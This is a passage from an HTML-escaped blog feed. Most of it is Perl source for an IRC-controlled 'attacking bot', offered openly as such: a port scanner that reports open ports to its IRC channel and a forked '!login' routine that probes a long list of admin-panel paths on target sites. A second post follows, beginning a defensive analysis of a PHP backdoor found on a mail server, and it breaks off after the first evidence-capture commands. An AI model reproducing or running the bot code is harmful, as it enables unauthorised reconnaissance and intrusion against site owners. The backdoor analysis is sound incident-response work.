#8b0000&quot;&gt;902&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;988&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;993&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;994&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;995&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1005&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1025&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1033&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1066&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1079&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1080&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1109&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1433&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1434&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;1512&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;2049&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;2105&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;2432&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;2583&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;3128&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;3306&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;4321&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;5000&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;5222&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;5223&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;5269&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;5555&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6660&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6661&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6662&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6663&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6665&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6666&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6667&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6668&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;6669&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;7000&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;7001&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;7741&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;8000&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;8018&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;8080&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;8200&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;10000&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;19150&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;27374&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;31310&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;33133&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;33733&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;55555&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;482:                                    &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; (@aberta, %porta_banner);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;483:                                    &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9PORTSCAN15) 13Loading port scanner.&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;484:                                    foreach &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $porta (@portas)  {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;485:                                    &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $scansock = IO::Socket::INET-&amp;gt;new(PeerAddr =&amp;gt; $hostip, PeerPort =&amp;gt; $porta, Proto =&amp;gt; &#39;tcp&#39;, Timeout =&amp;gt; 4);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;486:                                    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($scansock) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;487:                                    &lt;span style=&quot;color: #0000ff&quot;&gt;push&lt;/span&gt; (@aberta, $porta);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;488:                                    $scansock-&amp;gt;&lt;span style=&quot;color: #0000ff&quot;&gt;close&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;489:                                    }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;490:                                  }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;491:   &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;492:                                    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (@aberta) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;493:                                    &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9portscan15)13 open ports are...:5 @aberta&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;494:                                    } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;495:                                    &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9portscan15)4 all ports are closed&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;496:                                    }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;497:                                  }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;498: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;499:                                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!login (.*)$/ ) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;500:           &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $pid = &lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;) { &lt;span style=&quot;color: #0000ff&quot;&gt;waitpid&lt;/span&gt;($pid, 0); } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;501:             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;) { &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;; } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;502:             &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $test = $1 ;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;503:             @&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt; = (&#39;/admin/&#39;,&#39;/ADMIN/&#39;,&#39;/login/&#39;,&#39;/adm/&#39;,&#39;/cms/&#39;,&#39;/administrator/&#39;,&#39;/admin/login.php&#39;,&#39;/ADMIN/login.php&#39;,&#39;/admin/&lt;span style=&quot;color: #0000ff&quot;&gt;log&lt;/span&gt;.php&#39;,&#39;/admin/controlpanel.html&#39;,&#39;/admin/controlpanel.php&#39;,&#39;/admin.php&#39;,&#39;/admin.html&#39;,&#39;/admin/cp.php&#39;,&#39;/admin/cp.html&#39;,&#39;/cp.php&#39;,&#39;/cp.html&#39;,&#39;/controlpanel/&#39;,&#39;/panelc/&#39;,&#39;/administrator/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;/administrator/login.html&#39;,&#39;/administrator/login.php&#39;,&#39;/administrator/account.html&#39;,&#39;/administrator/account.php&#39;,&#39;/administrator.php&#39;,&#39;/administrator.html&#39;,&#39;/login.php&#39;,&#39;/login.html&#39;,&#39;/controlpanel/&#39;,&#39;/administration/&#39;,&#39;/administration.php&#39;,&#39;/administration.html&#39;,&#39;/phpmyadmin/&#39;,&#39;/myadmin/&#39;,&#39;/wp-admin/&#39;,&#39;/webadmin/&#39;,&#39;/webadmin.php&#39;,&#39;/webadmin.html&#39;,&#39;/admins/&#39;,&#39;/admins.php&#39;,&#39;/admins.html&#39;,&#39;/WebAdmin/&#39;,&#39;/admin1/&#39;,&#39;/panel/&#39;,&#39;/cpanel/&#39;,&#39;/cPanel/&#39;,&#39;/members/&#39;,&#39;/wp-login/&#39;,&#39;/admin/&#39;,&#39;/ADMIN/&#39;,&#39;/login/&#39;,&#39;/adm/&#39;,&#39;/cms/&#39;,&#39;/administrator/&#39;,&#39;/admin/login.php&#39;,&#39;/ADMIN/login.php&#39;,&#39;/admin/&lt;span style=&quot;color: #0000ff&quot;&gt;log&lt;/span&gt;.php&#39;,&#39;/admin/controlpanel.html&#39;,&#39;/admin/controlpanel.php&#39;,&#39;/admin.php&#39;,&#39;/admin.html&#39;,&#39;/admin/cp.php&#39;,&#39;/admin/cp.html&#39;,&#39;/cp.php&#39;,&#39;/cp.html&#39;,&#39;/controlpanel/&#39;,&#39;/panelc/&#39;,&#39;/administrator/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;/administrator/login.html&#39;,&#39;/administrator/login.php&#39;,&#39;/administrator/account.html&#39;,&#39;/administrator/account.php&#39;,&#39;/administrator.php&#39;,&#39;/administrator.html&#39;,&#39;/login.php&#39;,&#39;/login.html&#39;,&#39;/controlpanel/&#39;,&#39;/administration/&#39;,&#39;/administration.php&#39;,&#39;/administration.html&#39;,&#39;/phpmyadmin/&#39;,&#39;/myadmin/&#39;,&#39;/wp-admin/&#39;,&#39;/webadmin/&#39;,&#39;/webadmin.php&#39;,&#39;/webadmin.html&#39;,&#39;/admins/&#39;,&#39;/admins.php&#39;,&#39;/admins.html&#39;,&#39;/WebAdmin/&#39;,&#39;/admin1/&#39;,&#39;/panel/&#39;,&#39;/cpanel/&#39;,&#39;/cPanel/&#39;,&#39;/members/&#39;,&#39;/wp-login/&#39;,&#39;admin/&#39;,&#39;administrator/&#39;,&#39;moderator/&#39;,&#39;webadmin/&#39;,&#39;adminarea/&#39;,&#39;bb-admin/&#39;,&#39;adminLogin/&#39;,&#39;admin_area/&#39;,&#39;panel-administracion/&#39;,&#39;instadmin/&#39;,&#39;memberadmin/&#39;,&#39;administratorlogin/&#39;,&#39;adm/&#39;,&#39;admin/account.php&#39;,&#39;admin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;admin/login.php&#39;,&#39;admin/admin.php&#39;,&#39;admin/account.php&#39;,&#39;admin_area/admin.php&#39;,&#39;admin_area/login.php&#39;,&#39;siteadmin/login.php&#39;,&#39;siteadmin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;siteadmin/login.html&#39;,&#39;admin/account.html&#39;,&#39;admin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;admin/login.html&#39;,&#39;admin/admin.html&#39;,&#39;admin_area/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;bb-admin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;bb-admin/login.php&#39;,&#39;bb-admin/admin.php&#39;,&#39;admin/&lt;span style=&quot;color: #0000ff&quot;&gt;log&lt;/span&gt;.php&#39;,&#39;admin_area/login.html&#39;,&#39;admin_area/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;admin/controlpanel.php&#39;,&#39;admin.php&#39;,&#39;admincp/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.asp&#39;,&#39;admincp/login.asp&#39;,&#39;admincp/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;admin/account.html&#39;,&#39;adminpanel.html&#39;,&#39;webadmin.html&#39;,&#39;webadmin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;webadmin/admin.html&#39;,&#39;webadmin/login.html&#39;,&#39;admin/admin_login.html&#39;,&#39;admin_login.html&#39;,&#39;panel-administracion/login.html&#39;,&#39;admin/cp.php&#39;,&#39;cp.php&#39;,&#39;administrator/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;administrator/login.php&#39;,&#39;nsw/admin/login.php&#39;,&#39;webadmin/login.php&#39;,&#39;admin/admin_login.php&#39;,&#39;admin_login.php&#39;,&#39;administrator/account.php&#39;,&#39;administrator.php&#39;,&#39;admin_area/admin.html&#39;,&#39;pages/admin/admin-login.php&#39;,&#39;admin/admin-login.php&#39;,&#39;admin-login.php&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;504: &#39;bb-admin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;bb-admin/login.html&#39;,&#39;bb-admin/admin.html&#39;,&#39;admin/home.html&#39;,&#39;login.php&#39;,&#39;modelsearch/login.php&#39;,&#39;moderator.php&#39;,&#39;moderator/login.php&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;505: &#39;moderator/admin.php&#39;,&#39;account.php&#39;,&#39;pages/admin/admin-login.html&#39;,&#39;admin/admin-login.html&#39;,&#39;admin-login.html&#39;,&#39;controlpanel.php&#39;,&#39;admincontrol.php&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;506: &#39;admin/adminLogin.html&#39;,&#39;adminLogin.html&#39;,&#39;admin/adminLogin.html&#39;,&#39;home.html&#39;,&#39;rcjakar/admin/login.php&#39;,&#39;adminarea/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;adminarea/admin.html&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;507: &#39;webadmin.php&#39;,&#39;webadmin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;webadmin/admin.php&#39;,&#39;admin/controlpanel.html&#39;,&#39;admin.html&#39;,&#39;admin/cp.html&#39;,&#39;cp.html&#39;,&#39;adminpanel.php&#39;,&#39;moderator.html&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;508: &#39;administrator/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;administrator/login.html&#39;,&#39;user.html&#39;,&#39;administrator/account.html&#39;,&#39;administrator.html&#39;,&#39;login.html&#39;,&#39;modelsearch/login.html&#39;,&#39;moderator/login.html&#39;,&#39;adminarea/login.html&#39;,&#39;panel-administracion/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;panel-administracion/admin.html&#39;,&#39;modelsearch/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;modelsearch/admin.html&#39;,&#39;admincontrol/login.html&#39;,&#39;adm/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;adm.html&#39;,&#39;moderator/admin.html&#39;,&#39;user.php&#39;,&#39;account.html&#39;,&#39;controlpanel.html&#39;,&#39;admincontrol.html&#39;,&#39;panel-administracion/login.php&#39;,&#39;wp-login.php&#39;,&#39;adminLogin.php&#39;,&#39;admin/adminLogin.php&#39;,&#39;&lt;span style=&quot;color: #0000ff&quot;&gt;log&lt;/span&gt;.php&#39;,&#39;admin.php&#39;,&#39;adminarea/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;adminarea/admin.php&#39;,&#39;adminarea/login.php&#39;,&#39;panel-administracion/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;panel-administracion/admin.php&#39;,&#39;modelsearch/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;modelsearch/admin.php&#39;,&#39;admincontrol/login.php&#39;,&#39;adm/admloginuser.php&#39;,&#39;admloginuser.php&#39;,&#39;admin2.php&#39;,&#39;admin2/login.php&#39;,&#39;admin2/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;adm/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;adm.php&#39;,&#39;affiliate.php&#39;,&#39;adm_auth.php&#39;,&#39;memberadmin.php&#39;,&#39;administratorlogin.php&#39;,&#39;admin1.php&#39;,&#39;admin1.html&#39;,&#39;admin2.php&#39;,&#39;admin2.html&#39;,&#39;yonetim.php&#39;,&#39;yonetim.html&#39;,&#39;yonetici.php&#39;,&#39;yonetici.html&#39;,&#39;ccms/&#39;,&#39;ccms/login.php&#39;,&#39;ccms/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;maintenance/&#39;,&#39;webmaster/&#39;,&#39;adm/&#39;,&#39;configuration/&#39;,&#39;configure/&#39;,&#39;websvn/&#39;,&#39;admin/&#39;,&#39;admin/account.php&#39;,&#39;admin/account.html&#39;. &#39;admin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;admin/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;admin/login.php&#39;. &#39;admin/login.html&#39;,&#39;admin/&lt;span style=&quot;color: #0000ff&quot;&gt;log&lt;/span&gt;.php&#39;,&#39;admin/controlpanel.html&#39;,&#39;admin/controlpanel.php&#39;,&#39;admin.php&#39;,&#39;admin.html&#39;,&#39;admin/cp.php&#39;,&#39;admin/cp.html&#39;,&#39;cp.php&#39;,&#39;cp.html&#39;,&#39;administrator/&#39;,&#39;administrator/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.html&#39;,&#39;administrator/&lt;span style=&quot;color: #0000ff&quot;&gt;index&lt;/span&gt;.php&#39;,&#39;administrator/login.html&#39;,&#39;administrator/login.php&#39;,&#39;administrator/account.html&#39;,&#39;administrator/account.php&#39;,&#39;administrator.php&#39;,&#39;administrator.html&#39;,&#39;login.php&#39;,&#39;login.html&#39;,&#39;modelsearch/login.php&#39;,&#39;moderator.php&#39;,&#39;moderator.html&#39;,&#39;moderator/login.php&#39;,&#39;moderator/login.html&#39;,&#39;moderator/admin.php&#39;,&#39;moderator/admin.html&#39;,&#39;moderator/&#39;,&#39;account.php&#39;,&#39;account.html&#39;,&#39;controlpanel/&#39;,&#39;controlpanel.php&#39;,&#39;controlpanel.ht&lt;/pre&gt;&lt;/pre&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/166777817494859944/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/10/short-post-complete-perl-attacking-bot.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/166777817494859944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/166777817494859944'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/10/short-post-complete-perl-attacking-bot.html' title='Short post, a complete perl attacking bot'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-4538759720749496099</id><published>2011-09-13T12:20:00.001+03:00</published><updated>2011-09-13T12:20:11.546+03:00</updated><title type='text'>Fast Php backdoor analysis</title><content type='html'>&lt;p&gt;On the daily routing of checking the systems, I noticed on nagios that a webserver of an old system was down. It’s not the first time that it’s happening the system is mainly used as mailserver and the webserver serves only the webmail interface, at least to my knowledge at that moment. System had problem before with apache service and semaphores, but today there was another issue, a process was running under www-data id, with the command ./prox –p5114&amp;nbsp; (proxy redirect). Interesting , we have a new backdoor ! &lt;/p&gt; &lt;p&gt;First things first, I kept a copy of the instance with lsof and pcat for further analysis, &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt; &lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@mail:/&lt;span style=&quot;color: #008000&quot;&gt;# lsof -p 29369 &amp;gt; 29369&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; root@mail:/&lt;span style=&quot;color: #008000&quot;&gt;# pcat 29369 &amp;gt; 29369.mem&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;pcat (process cat) is part of tct, apt-get install tct will do the trick on ubuntu/debian systems. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Looking at the data from lsof I located easily the place where backdoor was installed and the actual&amp;nbsp; file was the following&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: 